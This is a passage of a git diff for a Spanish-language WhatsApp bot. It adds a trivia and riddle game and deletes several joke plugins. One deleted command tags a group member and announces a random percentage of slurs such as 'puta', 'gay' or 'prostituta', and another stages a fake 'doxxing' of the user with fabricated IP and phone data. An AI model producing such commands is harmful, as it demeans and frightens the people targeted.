+ return pregunta;
+ } catch (e) {
+ console.error('Respaldo fallido', e);
+ return null;
+ }
+}
+
+let handler = async (m, { conn, command }) => {
+const id = m.chat;
+if (juegos[id]) return conn.reply(m.chat, '⚠️ Ya hay un juego activo en este chat.', m);
+
+const tipo = /acert/i.test(command) ? 'acertijo' : /pelicula|adv/i.test(command) ? 'pelicula' : /trivia/i.test(command) ? 'trivia' : null;
+if (!tipo) return;
+const pregunta = await obtenerPregunta(tipo);
+if (!pregunta) return m.reply('❌ No se pudo generar la pregunta.');
+const tiempo = tipo === 'trivia' ? timeout2 : timeout;
+const texto = `${pregunta.question}
+
+*• Tiempo:* ${tiempo / 1000}s\n*• Bono:* +${poin} XP`;
+const enviado = await conn.sendMessage(m.chat, { text: texto }, { quoted: m });
+
+juegos[id] = {
+tipo,
+pregunta,
+caption: enviado,
+puntos: poin,
+intentos: 3,
+timeout: setTimeout(() => {
+if (juegos[id]) {
+conn.reply(m.chat, `⏳ Se acabó el tiempo.\n*Respuesta:* ${pregunta.response}`, enviado);
+delete juegos[id];
+}}, tiempo)
+}};
+
+handler.before = async (m, { conn }) => {
+const id = m.chat;
+if (!juegos[id] || !m.quoted?.key?.id || !juegos[id].caption?.key?.id || m.quoted.key.id !== juegos[id].caption.key.id) return;
+
+const juego = juegos[id];
+const correcta = juego.pregunta.response.toLowerCase().trim();
+const userInput = m.originalText.toLowerCase().trim();
+const esCorrecta = userInput === correcta || similarity(userInput, correcta) >= threshold;
+
+if (esCorrecta) {
+await m.db.query('UPDATE usuarios SET exp = exp + $1 WHERE id = $2', [juego.puntos, m.sender]);
+m.reply(`✅ *¡Correcto!*\nGanaste +${juego.puntos} XP`);
+clearTimeout(juego.timeout);
+delete juegos[id];
+} else {
+juego.intentos--;
+if (juego.intentos <= 0) {
+m.reply(`❌ Fallaste 3 veces. La respuesta era: *${juego.pregunta.response}*`);
+clearTimeout(juego.timeout);
+delete juegos[id];
+} else {
+m.reply(`❌ Incorrecto. Te quedan *${juego.intentos}* intento(s).`);
+}}
+};
+handler.help = ['acertijo', 'pelicula', 'trivia'];
+handler.tags = ['game'];
+handler.command = /^(acertijo|acert|adivinanza|tekateki|pelicula|adv|trivia)$/i;
+handler.register = true;
+
+export default handler;
diff --git a/plugins/fun-amigo-random.js b/plugins/fun-amigo-random.js
deleted file mode 100644
index 12f95ffe6..000000000
--- a/plugins/fun-amigo-random.js
+++ /dev/null
@@ -1,15 +0,0 @@
-let toM = a => '@' + a.split('@')[0]
-function handler(m, { groupMetadata }) {
-let ps = groupMetadata.participants.map(v => v.id)
-let a = ps.getRandom()
-let b
-do b = ps.getRandom()
-while (b === a)
-m.reply(`*🔰 Vamos a hacer algunas amistades 🔰*\n\n*Oye ${toM(a)} hablale al privado a ${toM(b)} para que jueguen y se haga una amistad 🙆*\n\n*Las mejores amistades empiezan con un juego 😉*`, null, {
-mentions: [a, b]
-})}
-handler.help = ['amistad']
-handler.tags = ['main', 'fun']
-handler.command = ['amigorandom','amistad']
-handler.group = true
-export default handler
\ No newline at end of file
diff --git a/plugins/fun-calcular_juegos.js b/plugins/fun-calcular_juegos.js
deleted file mode 100644
index b4bf03615..000000000
--- a/plugins/fun-calcular_juegos.js
+++ /dev/null
@@ -1,193 +0,0 @@
-let handler = async (m, { conn, command, text, usedPrefix }) => {
-if (!text) throw `🤔 𝙀𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 @𝙏𝘼𝙂 𝙤 𝙚𝙨𝙘𝙧𝙞𝙗𝙖 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚`
-
-if (command == 'gay2') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *GAY*_ 🏳️🌈`.trim()
-
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES 🏳️🌈* *${(500).getRandom()}%* *GAY*_`.trim(), m, m.mentionedJid ? { mentions: m.mentionedJid
- } : {})}
-
- // ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'lesbiana') {
-/* let juego = `_*${text.toUpperCase()}* *ES 🏳️🌈* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_🏳️🌈`.trim()
-
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES 🏳️🌈* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'pajero') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_ 😏💦`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES 😏💦* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'pajera') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_ 😏💦`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES 😏💦* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'puto') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'puta') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
- // ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'manco') {
-/* let juego = `_*${text.toUpperCase()}* *ES/IS* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'manca') {
-/* let juego = `_*${text.toUpperCase()}* *ES* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'rata') {
-/* let juego = `_*${text.toUpperCase()}* *ES* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🐁 COME QUESO 🧀*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🐁 COME QUESO 🧀*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'prostituto') {
-/* let juego = `_*${text.toUpperCase()}* *ES* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
-// ------------------------------------------------------------------------------------------------------------------------------------------------
-
-if (command == 'prostituta') {
-/* let juego = `_*${text.toUpperCase()}* *ES* *${(1000).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim()
-conn.sendHydrated(m.chat, juego, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', '#juegosmenu'],
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m, m.mentionedJid ? {
-mentions: m.mentionedJid
-} : {})}
-*/
- conn.reply(m.chat, `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-
- // ------------------------------------------------------------------------------------------------------------------------------------------------
-if (command == 'love') {
-conn.reply(m.chat, ` *❤️❤️ MEDIDOR DE AMOR ❤️❤️*
-*El amor de ${text} por ti es de* *${Math.floor(Math.random() * 100)}%* *de un 100%*
-*Deberias pedirle que sea tu novia/o ?*`.trim(), m, m.mentionedJid ? {
- mentions: m.mentionedJid
- } : {})}
-await delay(5000)
-}
-handler.help = ['love', 'gay2', 'lesbiana', 'pajero', 'pajera', 'puto', 'puta', 'manco', 'manca', 'rata', 'prostituta', 'prostituto'].map(v => v + ' @tag | nombre')
-handler.tags = ['calculator']
-handler.command = /^love|gay2|lesbiana|pajero|pajera|puto|puta|manco|manca|rata|prostituta|prostituto/i
-handler.exp = 100
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
\ No newline at end of file
diff --git a/plugins/fun-chiste.js b/plugins/fun-chiste.js
deleted file mode 100644
index 99dcba6d8..000000000
--- a/plugins/fun-chiste.js
+++ /dev/null
@@ -1,21 +0,0 @@
-// By https://github.com/elrebelde21/The-LoliBot-MD
-
-let handler = async (m, { conn, text}) => {
-
-m.reply(`*┏━━━━━━━━━━━━┓*\n *😹 ${pickRandom(global.chiste)} 😹*\n*┗━━━━━━━━━━━━┛*`)
-}
-handler.tags = ['humor']
-handler.command = ['chiste']
-export default handler
-
-function pickRandom(list) {
-return list[Math.floor(list.length * Math.random())]}
-
-global.chiste = ["¿Cuál es el último animal que subió al arca de Noé? El del-fin..", "¿Cómo se dice pañuelo en japonés? Saka-moko", "¿Cómo se dice disparo en árabe? Ahí-va-la-bala..", "¿Qué le dice un gusano a otro gusano? Voy a dar una vuelta a la manzana.", "Un gato empieza a ladrar en el tejado de una casa. Otro gato, sorprendido, le dice: Estás loco gato, ¿por qué ladras en vez de maullar? El gatito le responde: ¿A caso no puedo aprender otro idioma?", "El doctor le dice al paciente: respire profundo que lo voy a auscultar. El paciente le responde: doctor, ¿de quién me va a ocultar si no le debo a nadie?\nSale el doctor después de un parto y el padre de la criatura le pregunta: ¿Doctor cómo salió todo? El doctor le dice: todo salió bien, pero tuvimos que colocarle oxígeno al bebé. El padre, horrorizado, le dice: pero doctor, nosotros queríamos ponerle Gabriel..", "Un pez le pregunta a otro pez: ¿qué hace tu mamá? Este le contesta: Nada, ¿y la tuya qué hace? Nada también.", "¿Cuál es el colmo de Aladdín? Tener mal genio", "El profesor le dice al estudiante después de haberle corregido la tarea: Tu trabajo me ha conmovido. El estudiante, sorprendido, le pregunta: ¿Y eso por qué profesor? El profesor con cara de burla le dice: Porque me dio mucha pena.", "Le dice el niño a la madre: Mamá, no quiero jugar más con Pedrito. La madre le pregunta al niño: ¿Por qué no quieres jugar más con él? Porque cuando jugamos a los tacos de madera y le pego con uno en la cabeza, de repente se pone a llorar.", "A Juanito le dice la maestra: Juanito, ¿qué harías si te estuvieses ahogando en la piscina? Juanito le responde: Me pondría a llorar mucho para desahogarme.", "Hijo, me veo gorda, fea y vieja. ¿Qué tengo hijo, qué tengo? Mamá, tienes toda la razón.", "¿Cómo se dice pelo sucio en chino? Chin cham pu.", "Había una vez un niño tan, tan, tan despistado que... ¡da igual, me he olvidado del chiste!", "Una amiga le dice a otra amiga: ¿Qué tal va la vida de casada? Pues no me puedo quejar, dice ella. ¿O sea que va muy bien, no? No, no me puedo quejar porque mi marido está aquí al lado.", "¿Por qué las focas miran siempre hacia arriba? ¡Porque ahí están los focos!", "Camarero, ese filete tiene muchos nervios. Pues normal, es la primera vez que se lo comen.", "¿Cómo se llama el primo de Bruce Lee? Broco Lee.", "Una madre le dice a su hijo: Jaimito, me ha dicho un pajarito que te drogas. La que te drogas eres tú, que hablas con pajaritos."]
-
-
-
-
-
-
-
diff --git a/plugins/fun-delttt.js b/plugins/fun-delttt.js
deleted file mode 100644
index 9c84f19e8..000000000
--- a/plugins/fun-delttt.js
+++ /dev/null
@@ -1,28 +0,0 @@
-//import MessageType from '@adiwajshing/baileys'
-let MessageType = (await import(global.baileys)).default
-let handler = async (m, { conn, usedPrefix, command }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
-let room = Object.values(conn.game).find(room => room.id.startsWith('tictactoe') && [room.game.playerX, room.game.playerO].includes(m.sender))
-if (room == undefined) return await conn.reply(m.chat, `${lenguajeGB['smsAvisoFG']()}𝙉𝙊 𝙀𝙎𝙏𝘼𝙎 𝙀𝙉 𝙉𝙄𝙉𝙂𝙐𝙉𝘼 𝙋𝘼𝙍𝙏𝙄𝘿𝘼 𝙀𝙉 𝙀𝙇 𝙅𝙐𝙀𝙂𝙊 𝙏𝙍𝙀𝙎 𝙀𝙉 𝙍𝘼𝙔𝘼\n\n💫 𝙄𝙉𝙄𝘾𝙄𝘼𝙍 𝙋𝘼𝙍𝙏𝙄𝘿𝘼 (${usedPrefix}ttt sala nueva)`, fkontak, m)
-//conn.sendButton(m.chat, `${lenguajeGB['smsAvisoFG']()}𝙉𝙊 𝙀𝙎𝙏𝘼𝙎 𝙀𝙉 𝙉𝙄𝙉𝙂𝙐𝙉𝘼 𝙋𝘼𝙍𝙏𝙄𝘿𝘼 𝙀𝙉 𝙀𝙇 𝙅𝙐𝙀𝙂𝙊 𝙏𝙍𝙀𝙎 𝙀𝙉 𝙍𝘼𝙔𝘼\n\n𝙔𝙊𝙐 𝘼𝙍𝙀 𝙉𝙊𝙏 𝙄𝙉 𝘼𝙉𝙔 𝙂𝘼𝙈𝙀 𝙄 𝙂𝘼𝙈𝙀 𝙏𝙃𝙍𝙀𝙀 𝙄𝙉 𝙎𝙏𝙍𝙄𝙋𝙀𝙎`, wm, null, [['💫 𝙄𝙉𝙄𝘾𝙄𝘼𝙍 𝙋𝘼𝙍𝙏𝙄𝘿𝘼 | 𝙎𝙏𝘼𝙍𝙏 𝙂𝘼𝙈𝙀', `${usedPrefix}ttt sala nueva`]], fkontak, m)
-delete conn.game[room.id]
-
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙇𝘼 𝙎𝘼𝙇𝘼 𝙏𝙍𝙀𝙎 𝙀𝙉 𝙍𝘼𝙔𝘼 𝙁𝙐𝙀 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝘼`, fkontak, m)}
-//await conn.sendButton(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙇𝘼 𝙎𝘼𝙇𝘼 𝙏𝙍𝙀𝙎 𝙀𝙉 𝙍𝘼𝙔𝘼 𝙁𝙐𝙀 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝘼\n\n𝙏𝙃𝙀 𝙏𝙃𝙍𝙀𝙀 𝙄𝙉 𝘼 𝙍𝙊𝙒 𝙍𝙊𝙊𝙈 𝙒𝘼𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙏𝙀𝘿`, wm, null, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu'] ], fkontak, m)}
-handler.command = /^(delttt|deltt|delxo|deltictactoe)$/i
-handler.fail = null
-export default handler
diff --git a/plugins/fun-doxeo_falso.js b/plugins/fun-doxeo_falso.js
deleted file mode 100644
index 583740016..000000000
--- a/plugins/fun-doxeo_falso.js
+++ /dev/null
@@ -1,116 +0,0 @@
-import { performance } from 'perf_hooks'
-let handler = async (m, { conn, text }) => {
-let user = global.db.data.users[m.sender]
-let time = user.prue + 600000 //10 min
-if (new Date - user.prue < 600000) return await conn.reply(m.chat, `🙌 HEY ALTO ESPERA UNOS MINUTOS PARA USAR OTRO COMANDO NO HAGA SPAM`, m)
-let start = `*😱 ¡¡𝙀𝙢𝙥𝙚𝙯𝙖𝙣𝙙𝙤 𝙙𝙤𝙭𝙭𝙚𝙤!! 😱*`
-let boost = `*${pickRandom(['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20'])}%*`
-let boost2 = `*${pickRandom(['21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40'])}%*`
-let boost3 = `*${pickRandom(['41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60'])}%*`
-let boost4 = `*${pickRandom(['61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80'])}%*`
-let boost5 = `*${pickRandom(['81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'])}%*`
-await delay(1 * 1000)
-const { key } = await conn.sendMessage(m.chat, {text: start}, {quoted: m});
-await delay(1 * 1000)
-await conn.sendMessage(m.chat, {text: boost, edit: key});
-await delay(1 * 1000)
-await conn.sendMessage(m.chat, {text: boost3, edit: key});
-await delay(1 * 1000)
-await conn.sendMessage(m.chat, {text: boost5, edit: key});
-
-
-//DATOS FALSOS | FALSE DATA
-let ip = `*${pickRandom(['233.34.229.59','245.168.75.53','59.49.9.213','203.23.8.207','110.189.95.186','17.151.187.183','30.209.37.141','67.52.216.173','161.107.62.117','89.168.137.231','48.247.249.251','135.158.198.206','170.57.189.55','252.0.180.120','254.180.198.115','85.188.238.220','196.88.207.113','57.84.238.99','50.132.72.227','92.28.211.234','33.211.234.00','122.238.1.2434','873.282.11.89','123.009.011.774','333.228.201.236'])}%*`
-let n = `*${pickRandom(['56 488543','5885 43','7533 443','662 3325','99684 4','968 483 4','8826 467241','859 47843','985 473 23','965 54 333332','67574 383 22','754 38943 3','51 362 33','8585 44','068 6554','685 584 3','588 444 3','583 7374 3','43 74625 66','66 76625','302 72','7 6654623','333.228.201.236'])}%*`
-let w = `*${pickRandom(['12.4893','54.643','84.95.0099','48.3324','9488.040','848.0409','237.0943','483.304.3','473.94.2','4.94','48.432','37.04932','47.03821','4763.4902','489.003','48.902','4847.940','473.04093','476.09940','49.3094.40','594.9594','585.059.4','584.069.5','5758.48.4','574.39.3','5884.5996.44','5884.59.4','474.593.3'])}%*`
-let ss = `*${pickRandom(['98(3220)399-64-05','599(40)854-26-49','3(9602)756-72-17','838(4290)443-19-237','23(0213)246-67-86','67(8940)055-49-57','1(6355)928-65-15','74(58)941-65-63','90(147)856-11-37','8(0832)062-62-37','139(56)418-20-27','25(347)781-04-44','1(508)645-73-78','44(0814)714-82-93','25(75)925-50-83','483(82)281-43-06','5(469)868-66-59','882(383)603-36-83','1(776)169-86-54','33(146)818-82-17','2(14)530-90-02','70(0227)971-57-92','33(146)818-82-17','316(648)019-00-54','8(0812)345-01-38','2(1583)521-98-54','599(40)854-26-49','98(3220)399-64-05'])}%*`
-let ipv6 = `*${pickRandom(['a57e:68a7:4ffe:afa8:9300:380b:8c1d:61b3','fc23:ab56:aa52:1bcc:d642:a67f:1970:aca7','c922:f1cb:dbb7:2ed7:7133:c154:a607:6412','5da4:4e7b:f680:09fc:855d:bf1a:a103:01bd','14a1:ea3d:ee5f:9b45:5499:7b11:f0a9:bbb2','ead1:458c:d48d:203c:7a69:4201:d7e5:0456','d03a:f0a9:f6ec:d638:8dde:c27c:24d2:dd40','acc8:a4f4:a2d5:60b9:563b:0048:309b:bda8','af1b:8086:9a88:bda7:99c0:e582:d7f8:96d6','5638:bfe5:4183:a3a7:aa0e:0442:31e3:0d94','a9bc:2b9e:484f:4316:d9b5:a776:fd80:1d6e','0976:4d22:b6d9:95ed:cc1d:c19a:7c01:cc61','ec38:3aba:b516:3be3:b61a:84c4:63fa:df60','4b2a:c574:25c2:f1b8:420f:b19c:0b0d:6c7a','02eb:b422:17fd:3ad6:ee43:997b:26f8:9e4f','4e8b:3afb:9a42:89be:ca63:624f:9ebb:6d5e','1569:cee2:9288:808e:0f05:a7bb:9bf3:3fa9','8259:b8e8:63b3:2c42:f5e5:c8d2:90c8:898a','a39:9f52:2d01:6d03:5bcc:9739:28fd:7188','0cee:a95b:8d80:8579:1f84:9d5c:479e:f08a','22b1:88d0:ea3d:6333:9e7b:9a30:f09c:289d','87a7:0fb9:d885:3a4c:289c:8fd1:3bf9:ebd5','af13:7c57:9748:44b0:2cd6:2c4e:a2b6:e7f1','0a59:3cb4:68d4:f611:3fe3:13db:13e7:9f51','73eb:be73:e506:8b33:9729:cec0:5669:7a0c','a174:e936:647b:8530:6fff:94fd:6005:835b','fd5b:95d7:8b12:76c9:7337:cca5:d4e2:946b','8e8a:5be3:0f25:7bbb:0ae8:b415:7d93:e64c','9755:9fa8:74b0:e1e6:3eaf:58b8:0226:4bb6','e874:0722:1c29:ed0e:83b2:482c:26fd:9fde','d8c2:c567:a53d:6f04:22e3:0f4a:56f7:94f4','0bf4:ad79:aec6:c383:3132:e649:df02:a85f','4f87:f0dc:dfaa:746d:bf16:24fc:c3a6:034d','fe80::5dcd::ef69::fb22::d9888%12','33.211.234.00','122.238.1.2434','873.282.11.89','123.009.011.774','333.228.201.236'])}%*`
-let up = `*${pickRandom(['Disabled','Enabled','Active','Enabled','Enabled','Active 1','Enabled','Disabled','Enabled','Enabled','Active 2','Enabled','Enabled','Enabled','Disabled','Enabled --','Enabled','Enabled []','Enabled [--]','Active 4','Enabled 1','Enabled','Disabled','Enabled','Enabled','Enabled ..1','Enabled','Enabled','Enabled','Active 1-1','Enabled','Enabled','Enabled','Active 1-2','Enabled','Enabled','Active 1-4','Enabled','Enabled','Disabled','Enabled','Disabled','Enabled','Active 1--','Enabled','Enabled','Active 3--','Disabled','Disabled','Active 3-2','Disabled'])}%*`
